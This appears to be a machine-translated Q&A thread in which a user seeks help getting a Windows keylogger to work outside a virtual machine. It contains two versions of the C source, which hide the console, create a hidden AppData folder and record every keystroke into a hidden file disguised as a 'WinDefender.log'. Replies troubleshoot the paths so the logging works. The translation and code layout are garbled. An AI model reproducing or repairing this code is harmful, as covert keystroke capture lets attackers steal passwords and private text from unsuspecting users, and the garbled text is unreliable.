Keylogger Работа с VM, но не на моем реальном компьютере.

JackJone спросил: 13 июня 2018 в 07:26 в: c

Прежде всего, это НЕ МОЙ КОД. Это код Minhas Kamal, но я его редактирую и изучаю. Весь кредит принадлежит ему.

Код отлично работает на виртуальной машине Windows 10, но когда я пытаюсь запустить его за пределами виртуальной машины (на моем собственном компьютере, который также является Windows 10), он компилирует и запустить, но проблема в том, что он не создает ни одного каталога "Hidden", и поэтому он также не создает файл журнала "WinDefender.log".

У меня нет абсолютно никакого понятия, что проблема является. Любая помощь приветствуется.

/**
* Developer: Minhas Kamal (minhaskamal024@gmail.com)
* Date: 15.Aug.2014
* Website: https://minhaskamal.github.io/StupidKeylogger
* License: MIT License
**/#include <windows.h>
#include <time.h>
#include <stdio.h>#define FILE_NAME "WinDefender.log" int main() {
    FreeConsole();    CreateDirectory("C:/%Userprofile%/AppData/Roaming/Hidden", NULL);
    SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden", FILE_ATTRIBUTE_HIDDEN);
    SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", FILE_ATTRIBUTE_HIDDEN);    FILE *file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a");     time_t date = time(NULL);
    fprintf(file, "0\n%s\t", ctime(&date));
    fclose(file);    unsigned short ch, i;
    while (1) { //infinite loop        ch = 1;
        while (ch<250) { //scans for 0-249 ASCII craracters
                         // this strange and extra loop helps in sensing fast-keystrokes with 
                         // minimum processor use
            for (i = 0; i<50; i++, ch++) {                //when key is stroke
                if (GetAsyncKeyState(ch) == -32767) {                    //append the ASCII code of the character
                    file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a"); 
                    fprintf(file, "%d ", ch);
                    fclose(file);
                }
            }
            Sleep(1);
        }
    }
}

3 ответа

jwdonahue ответил: 13 июня 2018 в 08:03
  1. По умолчанию Win32 API для UNICODE, который является WCHAR (wchar_t), а не CHAR (char).
  2. % userprofile% определяет обозначение диска. Вы не должны считать, что это диск C.

Прочитайте документацию MSDN по CreateDirectoryA или CreateDirectoryW и выберите либо набор кодов символов UNICODE ANSI, либо в ваш код или в вашей командной строке.

JackJone ответил: 13 июня 2018 в 07:56
Извините, не могли бы вы привести пример? я действительно не понимаю, извините! Просьба уточнить
Retired Ninja ответил: 13 июня 2018 в 07:57
Прямые косые черты отлично работают, и программа может быть легко переключена на многобайтный или юникод по желанию.
jwdonahue ответил: 13 июня 2018 в 07:58
Следуйте приведенным ссылкам на документацию, прокрутите вниз и выберите код примера C / C ++. Какой компилятор вы используете?
jwdonahue ответил: 13 июня 2018 в 08:01
Поэтому просто вызовите CreateDirectoryA, а не CreateDirectory, и вы будете называть версию ANSI, независимо от того, в каком режиме установлена ​​цепочка инструментов.
jwdonahue ответил: 13 июня 2018 в 08:04
@RetiredNinja, спасибо, что указали это. Я забыл, что они давно добавили поддержку косых черт. Вот их ссылка btw: msdn.microsoft.com/en-us/library/dn986850.aspx
SSpoke ответил: 13 июня 2018 в 08:20

Замените все

C:/%Userprofile%

на

%Userprofile%

просто удалите C:/, так как %Userprofile% уже содержит C:/Blah/Blah, поэтому у вас будет 2 C:/C:/Blah/Blah.

Откройте командную строку и введите echo %USERPROFILE%, вы будете посмотрите, что это значит.

Вы можете попробовать их посмотреть, какой из них работает

CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(L"%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
CreateDirectory(_T("%Userprofile%\\AppData\\Roaming\\Hidden"), NULL);

Прокомментировать FreeConsole(); для тестирования

if (GetFileAttributes("%Userprofile%\\AppData\\Roaming\\Hidden") == INVALID_FILE_ATTRIBUTES)
{
  //Directory does not exist
  CreateDirectory("%Userprofile%\\AppData\\Roaming\\Hidden", NULL);
  if(GetLastError() == ERROR_ALREADY_EXISTS) {
    printf("folder exists");    
  else if(GetLastError() == ERROR_PATH_NOT_FOUND) {
    printf("path not found (means folders before final folder not exist)");
  }
} else {
  printf("exists already");
}
JackJone ответил: 13 июня 2018 в 07:43
Я сделал это, но, папка не создана. Спасибо, что помогли мне!
SSpoke ответил: 13 июня 2018 в 07:44
О, да, я подумал, что это было .. извините
JackJone ответил: 13 июня 2018 в 07:48
Ага. пытался работать как администратор, все равно нет.
SSpoke ответил: 13 июня 2018 в 07:45
Может быть, %Userprofile%/AppData/Roaming/Hidden уже существует, и он не может создать папку, поскольку она уже существует (просто гадание). Вы попытались щелкнуть правой кнопкой мыши и запустить его как администратор.
SSpoke ответил: 13 июня 2018 в 07:54
О, да, замените все косые черты на `\\` \\
user10049605 ответил: 14 июня 2018 в 12:38

Каждый, это мой реальный счет. с моей настоящей почтой. Я Джексон. Хотя, это не важно: мне удалось немного изменить код, теперь он может создать каталог (скрытый или нет) и файл журнала (скрытый или нет). НО:

Он не работает пишите что-нибудь к нему! Код:

#include <windows.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <iostream>#define FILE_NAME ("%appdata%\\Hidden\\WinSDefender.log"), "WinSDefender.log" //; int main() {
    // FreeConsole();
     using namespace std;    system("mkdir %appdata%\\Hidden"); //using a cmd command to create a dir
    system("attrib.exe +h %appdata%\\Hidden");// and hides it    system("echo s > %appdata%\\Hidden\\WinDefender.log");// creates the log file
    system("attrib.exe +h %appdata%\\Hidden\\WinDefender.log");// and hides it    CreateDirectory("%appdata%\\Hidden", NULL);
    ///SetFileAttributes("C:/%appdata%/Desktop/Hidden", FILE_ATTRIBUTE_HIDDEN);
    //SetFileAttributes("%appdata%\\Hidden\\WinDefender.log", FILE_ATTRIBUTE_HIDDEN);      FILE *file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a");     time_t date = time(NULL);
    fprintf(file, "0\n%s\t", ctime(&date));
    fclose(file);    unsigned short ch, i;
    while (1) { //infinite loop        ch = 1;
        while (ch < 250) { //scans for 0-249 ASCII craracters
                         // this strange and extra loop helps in sensing fast-keystrokes with 
                         // minimum processor use
            for (i = 0; i < 50; i++, ch++) {                //when key is stroke
                if (GetAsyncKeyState(ch) == -32767) {                    //append the ASCII code of the character
                    file = fopen("%appdata%\\Hidden\\WinSDefender.log", "a");
                    fprintf(file, "%d ", ch);
                    fclose(file);
                }
            }
            Sleep(1);
        }
    }
}

Дополнительное видео по вопросу: Keylogger Работа с VM, но не на моем реальном компьютере.

Week 10